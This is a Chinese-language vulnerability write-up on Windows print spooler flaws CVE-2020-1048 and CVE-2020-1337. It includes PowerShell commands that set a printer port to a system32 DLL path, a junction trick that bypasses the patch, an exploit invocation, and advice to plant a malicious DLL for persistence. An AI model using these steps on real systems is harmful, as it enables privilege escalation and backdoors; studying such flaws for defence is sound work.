列印機漏洞
該漏洞可以通過建立列印機驅動和端口,實作任意檔案寫入,用于提權或者寫入後門。
列印機調用流程:client通過RPC調用server的spoolsv.exe,spoolsv.exe是system權限,容易産生EOP漏洞。
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsISPrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdsATOfd3bkFGazxCMx8VesATMfhHLlN3XnxCMwEzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5yN0ETM5QjM5EDZ5MGZmNjNxYzX1AzMwcTMxEzLcBTMxIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjL3M3Lc9CX6MHc0RHaiojIsJye.png)
通過powershell可以直接建立列印機驅動和端口。
系統中添加一台新列印機
Add-Printer -Name "PrintDemon" -DriverName "Generic / Text Only" -PortName "c:\windows\tracing\myport.txt"
輸出到檔案
"Hello,Printer!" | Out-Printer -Name "PrintDemon"
CVE-2020-1048
“AddPort函數浏覽網絡以查找現有端口,并彈出對話框供使用者選擇。AddPort函數應該經過調用EnumPorts來驗證使用者輸入的端口名稱,以確定不存在重複的名稱。AddPort函數的調用方必須具備通路端口所連結的伺服器的SERVER_ACCESS_ADMINISTER權限。要添加端口而不顯示對話框,可調用XcvData函數而不是AddPort”。
經過控制台添加列印機在底層是調用了AddPort函數,該函數會觸發spooler程式對端口的合法性校驗。經過PowerShell指令添加列印機在底層則是直接調用XcvData函數,該函數不會觸發spooler程式對使用者添加的端口進行安全校驗。這個函數可以将port name設定為任意檔案而不被檢查。
Add-PrinterPort -Name c:\windows\system32\ualapi.dll
在PowerShell視窗中執行即可.
CVE-2020-1337
經過更新檔後,緊随其後的CVE-2020-1337又有姿勢可以繞檢查
從github上擷取樣本分析
https://github.com/math1as/cve-2020-1337-exploit
powershell -ep bypass ``-F` `C:\CVE-2020-1337-exploit-master\exploit.ps1
在檢視了公布的腳本檔案可以發現
它的指令也是非常的簡單,在執行上述過程中添加了一條指令建立一個系統目錄軟聯接
cmd /c mklink /J c:\users\test\mytarg5 C:\Windows\system32
無論是AddPort還是修複後的XcvData函數進行檢查時,都是判斷目前使用者是否具有對目标路徑的通路權限的。
将port name指向 c:\users\test\myfolder\xxx.dll ,通過檢查後,再将mytarg5作為一個軟連結重定向到目标的系統路徑中,即可完成對更新檔的繞過。
建立一個軟連接配接,将檔案列印位置改為 c:\users\test\mytarg5,便會在C:\Windows\system32下成功建立ualapi.dll.
利用方法
可以使用dll劫持方法。利用目标服務調用特定dll的特性,寫入惡意dll,實作權限維持等功能。
[原創] 【漏洞利用】cve-2020-1048、cve-2020-1337漏洞原理及利用-二進制漏洞-看雪論壇-安全社群|安全招聘|bbs.pediy.com
CVE-2021-1678
遠端調用列印機漏洞。